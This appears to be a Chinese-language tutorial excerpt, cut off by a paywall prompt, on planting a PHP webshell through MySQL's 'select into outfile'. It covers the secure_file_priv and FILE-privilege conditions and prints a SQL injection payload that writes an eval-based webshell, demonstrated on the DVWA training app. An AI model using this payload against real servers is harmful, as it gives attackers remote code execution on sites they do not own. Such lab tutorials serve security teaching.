前言
在所有常用的关系数据库管理系统中均包含内置的向服务器文件系统写文件的功能,通过这些内置的功能,我们可以将自己的webshell写目录或文件进去
写入webshell条件
1.MYSQL用secure_file_priv这个配置项来完成对数据导入导出的限制,
如果secure_file_priv=NULL,MYSQL服务会禁止导入和导出操作。
如果secure_file_priv=/tmp/,MYSQL服务只能在/tmp/目录下导入和导出
如果secure_file_priv="" ,MYSQL服务导入和导出不做限制
通过命令查看secure-file-priv的当前值,确定是否允许导入导出以及导出文件路径
2.MYSQL中root用户拥有所有权限,但写入webshell并不需要一定是root用户权限,比如数据库用户只要拥有FILE权限就可以执行select into outfile操作
3.当secure_file_priv文件导出路径与web目录路径重叠,写入webshell才可以被访问到
简单点说就是
1.select into outfile方法可用(允许导出文件)
2.我们需要知道网站所在的绝对路径
3.我们要有足够的权限
传统的SQL语句写入webshell
通过SQL注入select into outfile实现,如:
1’ union select 1,’<?php eval($_POST[a]);?>’INTO OUTFILE ‘/var/www/tmp/a.php’#
这里我们使用dvwa的low级别,直接找到注入点,开始爆出网站路径
再输入框中输入1' union select 'x','x' into outfile 'xx' --

本文介绍如何利用MySQL的特性在Web服务器上植入WebShell,包括secure_file_priv配置的影响、不同写入方法及其适用场景。
最低0.47元/天 解锁文章
2044





